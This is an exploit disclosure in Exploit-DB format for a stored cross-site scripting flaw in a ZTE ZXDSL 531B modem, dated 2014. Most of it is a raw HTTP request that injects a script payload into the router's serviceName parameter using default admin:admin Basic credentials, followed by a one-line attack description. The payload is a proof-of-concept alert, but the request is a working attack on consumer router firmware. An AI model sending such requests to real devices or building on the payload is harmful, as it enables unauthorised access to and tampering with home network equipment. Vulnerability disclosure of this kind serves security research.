21 lines
No EOL
922 B
Text
21 lines
No EOL
922 B
Text
# Exploit Title: ZTE Modem Stored XSS Vulnerability
|
|
# Date: 30-10-2014
|
|
# Exploit Author: Ravi Rajput aka Gr3y n00b IHT team
|
|
# Version: ZXDSL 531BIIV7.3.0f_D09_IN
|
|
# Software Link:http://wwwen.zte.com.cn
|
|
#Tested on : Windows 7
|
|
# code :
|
|
|
|
GET /ntwksum2.cgi?ntwkPrtcl=3&enblService=1&serviceName=%3Cscript%3Ealert(0)%3C/script%3E HTTP/1.1
|
|
Host: 192.168.1.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.1.1/enblbridge.html
|
|
Cookie: ls_google_allow=1; ls_iserver_timestamp_bnc_bsaved=1414677822551; ctx1420m06d05=7b2273756363657373223a302c226c6f675f616374697665223a307d
|
|
Authorization: Basic YWRtaW46YWRtaW4=
|
|
Connection: keep-alive
|
|
|
|
Attack details :
|
|
The variable aerviceName has been set to simple payload <script>alert(0)</script> |